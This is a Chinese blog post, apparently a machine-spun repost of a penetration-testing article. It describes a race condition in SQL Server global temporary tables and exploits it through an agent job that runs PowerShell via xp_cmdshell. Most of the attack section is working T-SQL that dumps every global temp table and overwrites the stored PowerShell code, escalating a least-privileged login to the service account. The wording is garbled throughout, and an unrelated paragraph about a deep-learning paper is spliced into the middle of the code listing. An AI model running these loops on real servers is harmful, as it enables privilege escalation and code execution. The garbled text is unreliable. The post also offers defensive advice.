SQL Server 全局暂时表合作前提破绽应用 | Sunbet
登录
  • 欢迎进入Sunbet!
  • 如果您觉得Sunbet对你有帮助,那么赶紧使用Ctrl+D 收藏Sunbet并分享出去吧
  • 您好,这里是Sunbet!

SQL Server 全局暂时表合作前提破绽应用

Sunbet_安全工具 申博 116次浏览 已收录 0个评论

在收集和应用顺序渗入测试时期,SQL Server 全局暂时表一般不是关注的核心。 然则,它们被开发职员周期性地不平安地用来存储敏感数据和代码块,这些数据和代码块可以被非特权用户接见。 在本博客中,我将引见全局暂时表是怎样事变的,并分享一些我们在现实应用顺序中用于辨认和举行破绽应用的手艺。

假如你不想通读一切的东西,你可以挑选跳过:

· 实验室设置

   · 什么是全局暂时表?

   · 暂时表是怎样事变的?

          · 演习1: 表变量

          · 演习2: 部份暂时表

          · 演习3: 全局暂时表

   · 怎样找到易受进击的全局暂时表?

          · 源代码审计

          · 监控全局暂时表

    · 案例研讨: 经由历程 TSQL 代办功课提拔权限

    · 关于这个我能做些什么?

实验室设置

1. 装置 SQL Server。 我们将要引见的大多数场景都可以运用 SQL Server Express 实行,然则假如你想要追随案例研讨,你须要运用一个支撑代办功课的贸易版本。

2. 以系统管理员身份登录到 SQL Server

3. 建立一个最小特权登录

 

-- Create server login
CREATE LOGIN [basicuser] WITH PASSWORD = 'Password123!';

什么是全局暂时表?

在 SQL Server 中暂时存储数据的要领有许多,但暂时表似乎是最盛行的要领之一。 依据我所看到的,开发职员一般运用三种范例的暂时表,包括表变量、部份暂时表和全局暂时表。 每种要领都有其长处、瑕玷和特别的用处,但全局暂时表往往会形成最大的风险,因为它们可以被任何 SQL Server 用户读取和修正。 因而,运用全局暂时表一般会致使合作前提破绽,最低特权用户可以应用这些前提取得对数据和特权的未受权接见。

暂时表是怎样事变的?

在本节中,我供应了一个入门学问,引见了怎样建立三种范例的暂时表、它们存储在那边以及谁可以接见它们。 为了入手下手进修,让我们运用 sysadmin 登录进入 SQL Server,并搜检三种范例的暂时表。

一切暂时表都存储在 tempdb 数据库中,可以运用下面的查询列出。

 

SELECT *
FROM tempdb.sys.objects
WHERE name like '#%';

SQL Server 中的一切用户都可以实行上面的查询,然则用户对所显现的表的接见权很大程度上取决于表的范例和局限。

下面是每种范例的暂时表的作用域择要。

有了这个基础,让我们来进修一些 TSQL 演习,以协助更好地明白每一个局限边境。

演习一: 表变量

表变量仅限于当前用户运动会话中的一个查询批处理。 它们不能被其他查询批处理或其他运动用户会话接见。 因而,数据不太大概泄漏给非特权用户。

下面是在统一批处理中援用表变量的示例。

 

-- Create table variable
If not Exists (SELECT name FROM tempdb.sys.objects WHERE name = 'table_variable')
DECLARE @table_variable TABLE (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL);
-- Insert records into table variable
INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (1,'Black Widow','Scarlett Johansson')
INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (2,'Ethan Hunt','Tom Cruise')
INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (3,'Evelyn Salt','Angelina Jolie')
INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (4,'James Bond','Sean Connery')
-- Query table variable in same batch 
SELECT * 
FROM @table_variable
GO

从上面的图片可以看出,我们可以在统一批查询中查询表变量。 然则,当我们运用“ GO”将表建立和表数据挑选分红两批时,我们可以看到表变量在其原始批处理功课以外不可再被接见。 下面是一个例子。

愿望这有助于申明表变量的局限限定,但你大概依然想晓得它们是怎样存储的。 建立表变量时,它运用以“ # ”开头的称号并随机生成字符存储在 tempdb 中。 下面的查询可用于挑选所运用的表变量。

 

SELECT * 
FROM tempdb.sys.objects  
WHERE name not like '%[_]%' 
AND (select len(name) - len(replace(name,'#',''))) = 1

 

演习二: 部份暂时表

与表变量一样,部份暂时表也仅限于当前用户的运动会话,但不限于单个批处理。 因为这个缘由,它们比表变量供应了更多的灵活性,然则依然不会增添不测数据暴露的风险,因为其他活泼用户会话不能接见它们。 下面是一个基础示例,演示怎样在统一会话中跨差别的查询批次建立和接见部份暂时表。

 

-- Create local temporary table
IF (OBJECT_ID('tempdb..#LocalTempTbl') IS NULL)
CREATE TABLE #LocalTempTbl (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL);
-- Insert records local temporary table
INSERT INTO #LocalTempTbl (Spy_id, SpyName, RealName) VALUES (1,'Black Widow','Scarlett Johansson')
INSERT INTO #LocalTempTbl (Spy_id, SpyName, RealName) VALUES (2,'Ethan Hunt','Tom Cruise')
INSERT INTO #LocalTempTbl (Spy_id, SpyName, RealName) VALUES (3,'Evelyn Salt','Angelina Jolie')
INSERT INTO #LocalTempTbl (Spy_id, SpyName, RealName) VALUES (4,'James Bond','Sean Connery')
GO
-- Query local temporary table
SELECT * 
FROM #LocalTempTbl
GO

从上面的图象中可以看到,依然可以跨多个查询批次接见表数据。 与表变量相似,一切定制的部份暂时表都须要以“ # ”开头。 除了你可以给他们起任何你想起的名字。 它们也存储在 tempdb 数据库中,但 SQL Server 会在表名的末端附加一些附加信息,以便对会话的接见遭到限定。 让我们看看新表“ #LocalTempTbl”在 tempdb 中的模样,下面是查询语句。

SELECT * 
FROM tempdb.sys.objects 
WHERE name like '%[_]%' 
AND (select len(name) - len(replace(name,'#',''))) = 1

上面我们可以看到我们建立的名为“ #LocalTempTbl”的表,个中附加了一些附加的会话信息。 一切用户都可以看到该暂时表称号,但只要建立该暂时表的会话才接见其内容。 看起来,会话 id 跟着每一个会话被添加到效劳器的完毕增量中,你现实上可以运用全名从会话中查询该表。 下面是一个例子。

SELECT * 
FROM tempdb..[ #LocalTempTbl_______________________________________________________________________________________________________000000000007]

 SQL Server 全局暂时表合作前提破绽应用

然则,假如你试图从其他用户的会话接见该暂时表,则会获得以下毛病。

无论怎样,当你完成了部份暂时表的一切操纵后,可以经由历程停止会话或运用下面的敕令显式实行删除它的操纵。

DROP
 TABLE 
#LocalTempTbl

演习三: 全局暂时表

准备好升级了吗? 与部份暂时表相似,你可以经由历程零丁的批处理查询建立和接见全局暂时表。 最大的区别是一切运动用户会话都可以检察和修正全局暂时表。 让我们看看下面的一个基础例子。

 

-- Create global temporary table
IF (OBJECT_ID('tempdb..##GlobalTempTbl') IS NULL)
CREATE TABLE ##GlobalTempTbl (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL);
-- Insert records global temporary table
INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (1,'Black Widow','Scarlett Johansson')
INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (2,'Ethan Hunt','Tom Cruise')
INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (3,'Evelyn Salt','Angelina Jolie')
INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (4,'James Bond','Sean Connery')
GO
-- Query global temporary table
SELECT * 
FROM ##GlobalTempTbl
GO

 SQL Server 全局暂时表合作前提破绽应用

上面我们可以看到,我们可以跨差别的查询批次查询全局暂时表。 一切定制的全局暂时表都须要以“##”开头。 除了你可以给他们起任何你想起的名字。 它们也存储在 tempdb 数据库中。 让我们看看新表“##GlobalTempTbl”在 tempdb 中的模样,下面是查询的语句。

 

SELECT * 
FROM tempdb.sys.objects 
WHERE (select len(name) - len(replace(name,'#',''))) > 1

你可以看到,SQL Server 不会像对部份暂时表那样将任何与会话相干的数据附加到表称号中,因为它的目标是供一切会话运用。 让我们运用我们建立的“ basicuser”登录进入另一个会话,以显现这是大概的。

如你所见,假如全局暂时表包括敏感数据,那末它如今就向一切 SQL Server 用户公然。

怎样找到易受进击的全局暂时表?

当你晓得表称号时,很轻易锁定全局暂时表,但大多数平安审计职员和进击者不晓得易受进击的全局暂时表在那边。 因而,在本节中,我将引见几种自觉查找易受进击的全局暂时表的要领。

· 假如你是特权用户,请审计源代码。

· 假如你黑白特权用户,则看管全局暂时表。

源代码审计

假如你作为系统管理员或具有其他特权角色的用户登录到 SQL Server,则可以直接查询每一个数据库的代办功课、存储历程、函数和触发器的 TSQL 源代码。 你应当可以过滤字符串“ ## ”的查询效果,以辨认 TSQL 中全局暂时表的运用情况。 有了挑选后的列表,你应当可以检察相干的 TSQL 源代码,并肯定在哪些前提下全局暂时表轻易遭到进击。

下面是一些到 TSQL 查询模板的链接,可以对你有所协助:

· 代办功课

· 存储历程

· DDL 触发器

· DML 和登录触发器

值得注重的是, PowerUpSQL 还支撑可用于查询该信息的函数。 这些功用包括:

· Get-SQLAgentJob

· Get-SQLStoredProcedure

· Get-SQLTriggerDdl

· Get-SQLTriggerDml

假如我们老是可以检察源代码就好了,然则事实是大多数进击者不会一入手下手就具有 sysadmin 特权。 所以,当你发明本身处于那种状况时,是时刻转变你的要领了。

监控全局暂时表

如今,让我们从最小特权的角度来议论怎样自觉地辨认全局暂时表。 在前面的部份中,我们展现了怎样列出暂时表名并查询它们的内容。 然则,我们对这些列并非很相识。 所以鄙人面我扩大了本来的查询,以包括这些信息。

 

-- List global temp tables, columns, and column types
SELECT t1.name as 'Table_Name',
       t2.name as 'Column_Name',
       t3.name as 'Column_Type',
       t1.create_date,
       t1.modify_date,
       t1.parent_object_id   
FROM tempdb.sys.objects AS t1
JOIN tempdb.sys.columns AS t2 ON t1.OBJECT_ID = t2.OBJECT_ID
JOIN sys.types AS t3 ON t2.system_type_id = t3.system_type_id
WHERE (select len(t1.name) - len(replace(t1.name,'#',''))) > 1

假如你没有删除“ ## GlobalTempTbl” ,那末在实行查询时应当会看到相似于下面的效果。

运转上面的查询可以深切相识当时正在运用的全局暂时表,然则它不能协助我们看管它们跟着时候的推移的运用情况。 请记着,暂时表一般只在短时候内运用,因而你不愿望错过它们。

下面的查询是第一个查询的变体,每一秒都邑供应一个全局暂时表列表。 可以经由历程修正“ WAITFOR”语句来变动耽误,但要警惕,不要让效劳器负载太重。 假如你不肯定正在做什么,那末这类手艺应当只在非生产环境中举行实践。

 

-- Loop
While 1=1
BEGIN
    SELECT t1.name as 'Table_Name',
           t2.name as 'Column_Name',
           t3.name as 'Column_Type',
           t1.create_date,
           t1.modify_date,
           t1.parent_object_id   
    FROM tempdb.sys.objects AS t1
    JOIN tempdb.sys.columns AS t2 ON t1.OBJECT_ID = t2.OBJECT_ID
    JOIN sys.types AS t3 ON t2.system_type_id = t3.system_type_id
    WHERE (select len(t1.name) - len(replace(t1.name,'#',''))) > 1
    -- Set delay
    WaitFor Delay '00:00:01'
END

正如你所看到的,查询将供应一个表名和列名的列表,我们可以在将来的进击中运用它们,然则我们也大概愿望看管全局暂时表的内容,以相识我们的选项是什么。 下面是一个示例,但请记着,在大概的情况下运用“ WAITFOR”来限定看管。

 

-- Monitor contents of all Global Temp Tables 
-- Loop
WHILE 1=1
BEGIN
    -- Add delay if required
    WAITFOR DELAY '0:0:1'
    
    -- Setup variables
    DECLARE @mytempname varchar(max)
    DECLARE @psmyscript varchar(max)
    -- Iterate through all global temp tables 
    DECLARE MY_CURSOR CURSOR 
        FOR SELECT name FROM tempdb.sys.tables WHERE name LIKE '##%'
    OPEN MY_CURSOR
    FETCH NEXT FROM MY_CURSOR INTO @mytempname 
    WHILE @@FETCH_STATUS = 0
    BEGIN 
        -- Print table name
        PRINT @mytempname 
        -- Select table contents
        DECLARE @myname varchar(max)
        SET @myname = 'SELECT * FROM [' + @mytempname + ']'
        EXEC(@myname)
        -- Next record
        FETCH NEXT FROM MY_CURSOR INTO @mytempname 
    END
    CLOSE MY_CURSOR
    DEALLOCATE MY_CURSOR
END

如你所见,上面的查询将看管全局暂时表并显现其内容。 这类手艺是一种很好的要领,可以自觉地从全局暂时表中转储潜伏的敏感信息,纵然这些信息只存在一会儿。 然则,偶然你也大概愿望修正全局暂时表的内容。 因为我们已晓得表和列的称号。 因而,看管正在建立的全局暂时表并更新它们的内容是相称简朴明了的。 下面是一个例子。

 

-- Loop forever
WHILE 1=1 
BEGIN
    -- Select table contents
    SELECT * FROM ##GlobalTempTbl
    -- Update global temp table contents
    DECLARE @mycommand varchar(max)
    SET @mycommand = 'UPDATE t1 SET t1.SpyName = ''Inspector Gadget'' FROM ##GlobalTempTbl  t1'
    EXEC(@mycommand)
END

 SQL Server 全局暂时表合作前提破绽应用

正如你所看到的,表已更新。 然则,你大概依然在想,“为何我要变动暂时表的内容呢? ” . 为了协助申明这类手艺的价值,我鄙人一节中整理了一个简短的案例研讨。

案例研讨: 进击一个易受进击的代办功课

如今来点真正的兴趣。 下面我们将引见易受进击的代办功课的 TSQL 代码,并凸起显现全局暂时表的平安运用场景。 然后我们将运用前面议论过的手艺来应用这个缺点。 要启动顺序,请下载此 TSQL 剧本并将其作为系统管理员运转,以便在 SQL Server 实例上设置易受进击的代办功课。

易受进击的代办事变遨游

代办将每分钟实行一次 TSQL 功课,并实行以下历程:

  1. 该功课为 PowerShell 剧本生成一个输出文件途径,稍后将实行该剧本— Set filename for PowerShell script
  2. Set @PsFileName = ”MyPowerShellScript.ps1”
  3.  
  4. — Set target directory for PowerShell script to be written to
  5. SELECT  @TargetDirectory = REPLACE(CAST((SELECT SERVERPROPERTY(”ErrorLogFileName”)) as VARCHAR(MAX)),”ERRORLOG”,””)
  6.  
  7. — Create full output path for creating the PowerShell script
  8. SELECT @PsFilePath = @TargetDirectory +  @PsFileName
  9. 该功课建立一个名为“@MyPowerShellCode”的字符串变量来存储PowerShell剧本。PowerShell代码简朴地建立了一个文件“C:\Program Files\Microsoft SQL Server\MSSQL12.SQLSERVER2014\MSSQL\Log\intendedoutput”。该文件包括字符串“hello world”。— Define the PowerShell code
  10. SET @MyPowerShellCode = ”Write-Output “hello world” | OutFile “” +  @TargetDirectory + ”intendedoutput.txt””
    专业提醒: SQL Server 和代办效劳帐户一直具有对 SQL Server 装置的日记文件夹的写接见权。 偶然在进击行为中,它会派上用场。 你可以找到日记文件夹,查询以下:
    SELECT SERVERPROPERTY(‘InstanceDefaultLogPath’)
  11. 然后将包括PowerShell代码的“@MyPowerShellCode”变量插进去到随机定名的全局暂时表中。这就是开发职员入手下手失足的处所,因为建立该表以后,任何用户都可以检察和修正该表。— Create a global temp table with a unique name using dynamic SQL
  12. SELECT  @MyGlobalTempTable =  ”##temp” + CONVERT(VARCHAR(12), CONVERT(INT, RAND() * 1000000))
  13.  
  14. — Create a command to insert the PowerShell code stored in the @MyPowerShellCode variable, into the global temp table
  15. SELECT  @Command = ”
  16.         CREATE TABLE [” + @MyGlobalTempTable + ”](MyID int identity(1,1), PsCode varchar(MAX))
  17.         INSERT INTO  [” + @MyGlobalTempTable + ”](PsCode)
  18.         SELECT @MyPowerShellCode”
  19. 小白带你读论文 & LEMNA: Explaining Deep Learning based Security Applications

    前言 本次带来的是一篇信息安全顶会之一的2018 CCS Best Paper,主要阐述的是作者实现了一种解释深度学习决策原因的方法:LEMNA。这一方法明显弥补了在安全领域解释方法的稀缺和低保真率的问题。 背景知识 众所周知,深度学习在图片分类上有着比较显著的核心地位,比如: 当我们input一张图片给计算机后,计算机可以根据这张图片,输出描述该图像属于某一特定分类的概率的数字(比如:80% 是机器人、15% 是人、5% 是电视机)。 而这一目的的实现,目前一般采用的是CNN(卷积神经网络)。 但是,如果我们需要将相同的目的,转换至安全领域呢?比如恶意软件的分类:我们input一个文件给计算机,计算机是否可以根据这个文件的

     

  20. — Execute that command
  21. EXECUTE sp_ExecuteSQL @command, N”@MyPowerShellCode varchar(MAX)”, @MyPowerShellCode
  22. 然后运用 xp_cmdshell在操纵系统上实行 bcp 。bcp是一个附带SQL Server的备份实用顺序。在本例中,它用于作为SQL Server效劳帐户连接到SQL Server实例,从全局暂时表中挑选PowerShell代码,并将PowerShell代码写入步骤1中定义的文件途径。— Execute bcp via xp_cmdshell (as the service account) to save the contents of the temp table to MyPowerShellScript.ps1
  23. SELECT @Command = ”bcp “SELECT PsCode from [” + @MyGlobalTempTable + ”]” + ”” queryout “”+ @PsFilePath + ”” -c -T -S ” + @@SERVERNAME— Write the file
  24. EXECUTE MASTER..xp_cmdshell @command, NO_OUTPUT
  25. 接下来,再次运用 xpcmdshell 实行方才写入磁盘的 PowerShell 剧本— Run the PowerShell script
  26. DECLARE @runcmdps nvarchar(4000)
  27. SET @runcmdps = ”Powershell -C “$x = gc ”””+ @PsFilePath + ”””;iex($X)””
  28. EXECUTE MASTER..xp_cmdshell @runcmdps, NO_OUTPUT
  29. 末了,运用 xpcmdshell 删除 PowerShell 剧本— Delete the PowerShell script
  30. DECLARE @runcmddel nvarchar(4000)
  31. SET @runcmddel= ”DEL /Q “” + @PsFilePath +”””
  32. EXECUTE MASTER..xp_cmdshell @runcmddel, NO_OUTPUT

易受进击的代办功课进击

既然我们的易受进击的代办功课已在背景运转,那末让我们运用最小特权用户“ basicuser”登录来举行进击。 下面是此次进击的择要。

  1. 起首,让我们看看是不是可以运用前面的看管查询发明全局暂时表的称号。 这个看管剧本被撙节。 我不发起在生产环境中去掉撙节,因为这会斲丧大批的 CPU,而且会激发警报,因为 DBA 倾向于亲昵看管其生产效劳器的机能。 与实行 xp_cmdshell 时比拟,你更有大概获得一个致使效劳器应用率到达80% 的捕异常。
  2. -- Loop
    While 1=1
    BEGIN
        SELECT t1.name as 'Table_Name',
               t2.name as 'Column_Name',
               t3.name as 'Column_Type',
               t1.create_date,
               t1.modify_date,
               t1.parent_object_id   
        FROM tempdb.sys.objects AS t1
        JOIN tempdb.sys.columns AS t2 ON t1.OBJECT_ID = t2.OBJECT_ID
        JOIN sys.types AS t3 ON t2.system_type_id = t3.system_type_id
        WHERE (select len(t1.name) - len(replace(t1.name,'#',''))) > 1
        -- Set delay
        WAITFOR DELAY '00:00:01'
    END
  3. 该功课的运转时候为一分钟,因而你大概须要守候59秒(或许你可以手动让功课在实验室中实行),然则终究你应当会看到相似下面的输出。

    SQL Server 全局暂时表合作前提破绽应用

  4. 在这个示例中,表名“ ##temp800845”看起来是随机的,因而我们再次尝试看管并获得表名“ ##103919”。 它有一个差别的称号,然则它有雷同的列。 这些信息足以让我们朝着准确的方向行进。

    SQL Server 全局暂时表合作前提破绽应用

  5. 接下来,我们愿望在删除全局暂时表之前检察它的内容。 然则,我们不晓得表的称号是什么。 为相识决这个问题,下面的查询将显现每一个全局暂时表的内容— Monitor contents of all Global Temp Tables
  6. — Loop
  7. While 1=1
  8. BEGIN
  9.     — Add delay if required
  10.     WAITFOR DELAY ’00:00:01′
  11.  
  12.     — Setup variables
  13.     DECLARE @mytempname varchar(max)
  14.     DECLARE @psmyscript varchar(max)
  15.  
  16.     — Iterate through all global temp tables
  17.     DECLARE MY_CURSOR CURSOR
  18.         FOR SELECT name FROM tempdb.sys.tables WHERE name LIKE ‘##%’
  19.     OPEN MY_CURSOR
  20.     FETCH NEXT FROM MY_CURSOR INTO @mytempname
  21.     WHILE @@FETCH_STATUS = 0
  22.     BEGIN
  23.  
  24.         — Print table name
  25.         PRINT @mytempname
  26.  
  27.         — Select table contents
  28.         DECLARE @myname varchar(max)
  29.         SET @myname = ‘SELECT * FROM [‘ + @mytempname + ‘]’
  30.         EXEC(@myname)
  31.  
  32.         — Next record
  33.         FETCH NEXT FROM MY_CURSOR INTO @mytempname
  34.     END
  35.     CLOSE MY_CURSOR
  36.     DEALLOCATE MY_CURSOR
  37. END
  38. 从这里我们可以看到,全局暂时表现实上包括 PowerShell 代码。 由此,我们可以猜想它是在某个时候点实行的。 因而,下一步是在 PowerShell 代码实行之前修正它。
  39. 一样,我们不晓得表名是什么,然则我们晓得列名。因而,我们可以修正步骤3中的查询,并更新全局暂时表的内容,而不是简朴地挑选它的内容。在本例中,我们将变动“C:\Program Files\Microsoft SQL Server\MSSQL12.SQLSERVER2014\MSSQL\Log\intendedoutput.txt”代码中定义的输出途径为“C:\顺序文件\Microsoft SQL Server\MSSQL12.SQLSERVER2014\MSSQL\Log\finishline.txt”。然则,你可以运用你最喜好的PowerShell shellcode或任何你所喜好的恣意敕令来替代这些代码。
    — Create variables
  40. DECLARE @PsFileName NVARCHAR(4000)
  41. DECLARE @TargetDirectory NVARCHAR(4000)
  42. DECLARE @PsFilePath NVARCHAR(4000)
  43.  
  44. — Set filename for PowerShell script
  45. Set @PsFileName = ‘finishline.txt’
  46.  
  47. — Set target directory for PowerShell script to be written to
  48. SELECT  @TargetDirectory = REPLACE(CAST((SELECT SERVERPROPERTY(‘ErrorLogFileName’)) as VARCHAR(MAX)),’ERRORLOG’,”)
  49.  
  50. — Create full output path for creating the PowerShell script
  51. SELECT @PsFilePath = @TargetDirectory +  @PsFileName
  52.  
  53. — Loop forever
  54. WHILE 1=1
  55. BEGIN
  56.     — Set delay
  57.     WAITFOR DELAY ‘0:0:1’
  58.  
  59.     — Setup variables
  60.     DECLARE @mytempname varchar(max)
  61.  
  62.     — Iterate through all global temp tables
  63.     DECLARE MY_CURSOR CURSOR
  64.         FOR SELECT name FROM tempdb.sys.tables WHERE name LIKE ‘##%’
  65.     OPEN MY_CURSOR
  66.     FETCH NEXT FROM MY_CURSOR INTO @mytempname
  67.     WHILE @@FETCH_STATUS = 0
  68.     BEGIN
  69.         — Print table name
  70.         PRINT @mytempname
  71.  
  72.         — Update contents of known column with ps script in an unknown temp table
  73.         DECLARE @mycommand varchar(max)
  74.         SET @mycommand = ‘UPDATE t1 SET t1.PSCode = ”Write-Output “hello world” | Out-File “‘ + @PsFilePath + ‘”” FROM ‘ + @mytempname + ‘  t1’
  75.         EXEC(@mycommand)
  76.  
  77.         — Select table contents
  78.         DECLARE @mycommand2 varchar(max)
  79.         SET @mycommand2 = ‘SELECT * FROM [‘ + @mytempname + ‘]’
  80.         EXEC(@mycommand2)
  81.  
  82.         — Next record
  83.         FETCH NEXT FROM MY_CURSOR INTO @mytempname
  84.     END
  85.     CLOSE MY_CURSOR
  86.     DEALLOCATE MY_CURSOR
  87. END

    SQL Server 全局暂时表合作前提破绽应用

  88. 从上面的截图中可以看到,我们可以运用自定义 PowerShell 代码更新暂时表内容。 为了确认我们胜利应用了合作前提缺点,我们可以考证“C:\Program Files\Microsoft SQL Server\MSSQL12.SQLSERVER2014\MSSQL\Log\finishline.txt”文件是不是已建立。 注重: 假如运用差别版本的 SQL Server,则途径大概差别。
    SQL Server 全局暂时表合作前提破绽应用

  89. 总之,我们应用 TSQL 代办功课中全局暂时表的不平安运用,将权限从最低特权 SQL Server 登录升级到运转 SQL Server 代办效劳的 Windows 操纵系统帐户。

我能做些什么?

下面是一些基于我们这个小小的研讨的基础发起,然则假如你有任何主意,请联络我们。 我很想听听其他人是怎样处理这个问题的。

防备

  1. 局暂时表中的代码块
  2. 不要在全局暂时表中存储敏感数据或代码块
  3. 假如须要跨多个会话接见数据,可以斟酌运用内存优化的表。 依据我的实验室测试,它们可以供应相似的机能上风,而没必要向非特权用户公然数据。 要相识更多信息看看微软的这篇文章.

检测
现在,我还没有一个很好的要领来看管潜伏的歹意全局暂时表接见。 然则,假如进击者过于积极地看管全局暂时表,那末 CPU 应当会涌现峰值,你大概会在价值奋发的查询列表中看到它们的运动。 从那边,你应当可以经由历程session_id 和一个相似于下面的查询检测这类进击行为:

 

SELECT 
    status,
    session_id,
    login_time,
    last_request_start_time,
    security_id,
    login_name,
    original_login_name
FROM [sys].[dm_exec_sessions]

总结

总之,运用全局暂时表会发生合作前提缺点,起码权限的用户可以应用这些前提读取和修正关联的数据。 依据数据的运用体式格局,它大概会发生一些异常严重的平安隐患。 愿望这些信息对那些试图让事变变得更好的建设者和破坏者是有效的。 不管怎样,享用兴趣,负担义务。


Sunbet|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明SQL Server 全局暂时表合作前提破绽应用
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址